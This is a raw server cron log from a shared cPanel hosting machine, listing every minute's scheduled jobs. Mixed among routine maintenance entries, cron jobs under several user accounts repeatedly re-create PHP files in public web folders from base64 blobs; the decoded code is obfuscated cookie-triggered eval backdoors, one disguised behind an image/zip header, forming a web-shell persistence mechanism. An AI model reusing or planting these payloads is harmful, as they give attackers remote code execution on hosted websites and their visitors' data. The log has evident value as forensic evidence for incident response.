Mar  1 14:10:02 medusa CROND[23380]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 14:10:02 medusa CROND[23392]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 14:10:02 medusa CROND[23477]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:10:02 medusa CROND[23478]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 14:10:02 medusa CROND[23481]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 14:10:02 medusa CROND[23518]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:10:02 medusa CROND[23519]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 14:10:02 medusa CROND[23521]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 14:10:02 medusa CROND[23520]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 14:10:02 medusa CROND[23526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:10:02 medusa CROND[23532]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:10:02 medusa CROND[23529]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 14:10:02 medusa CROND[23531]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:10:02 medusa CROND[23537]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:10:02 medusa CROND[23527]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 14:10:02 medusa CROND[23536]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 14:10:02 medusa CROND[23538]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 14:10:02 medusa CROND[23533]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 14:10:02 medusa CROND[23524]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 14:10:02 medusa CROND[23544]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:10:02 medusa CROND[23546]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:10:02 medusa CROND[23547]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 14:10:02 medusa CROND[23552]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:10:02 medusa CROND[23561]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:10:02 medusa CROND[23562]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 14:11:01 medusa CROND[15500]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 14:11:01 medusa CROND[15520]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:11:01 medusa CROND[15521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:11:01 medusa CROND[15522]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:11:01 medusa CROND[15523]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:11:01 medusa CROND[15525]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:11:01 medusa CROND[15528]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:11:01 medusa CROND[15527]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:11:01 medusa CROND[15531]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:11:01 medusa CROND[15532]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:11:01 medusa CROND[15533]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:11:01 medusa CROND[15534]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:11:01 medusa CROND[15558]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 14:12:01 medusa CROND[7535]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:12:01 medusa CROND[7686]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:12:01 medusa CROND[7687]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:12:01 medusa CROND[7688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:12:01 medusa CROND[7689]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 14:12:01 medusa CROND[7690]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:12:01 medusa CROND[7691]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:12:01 medusa CROND[7693]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 14:12:01 medusa CROND[7692]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
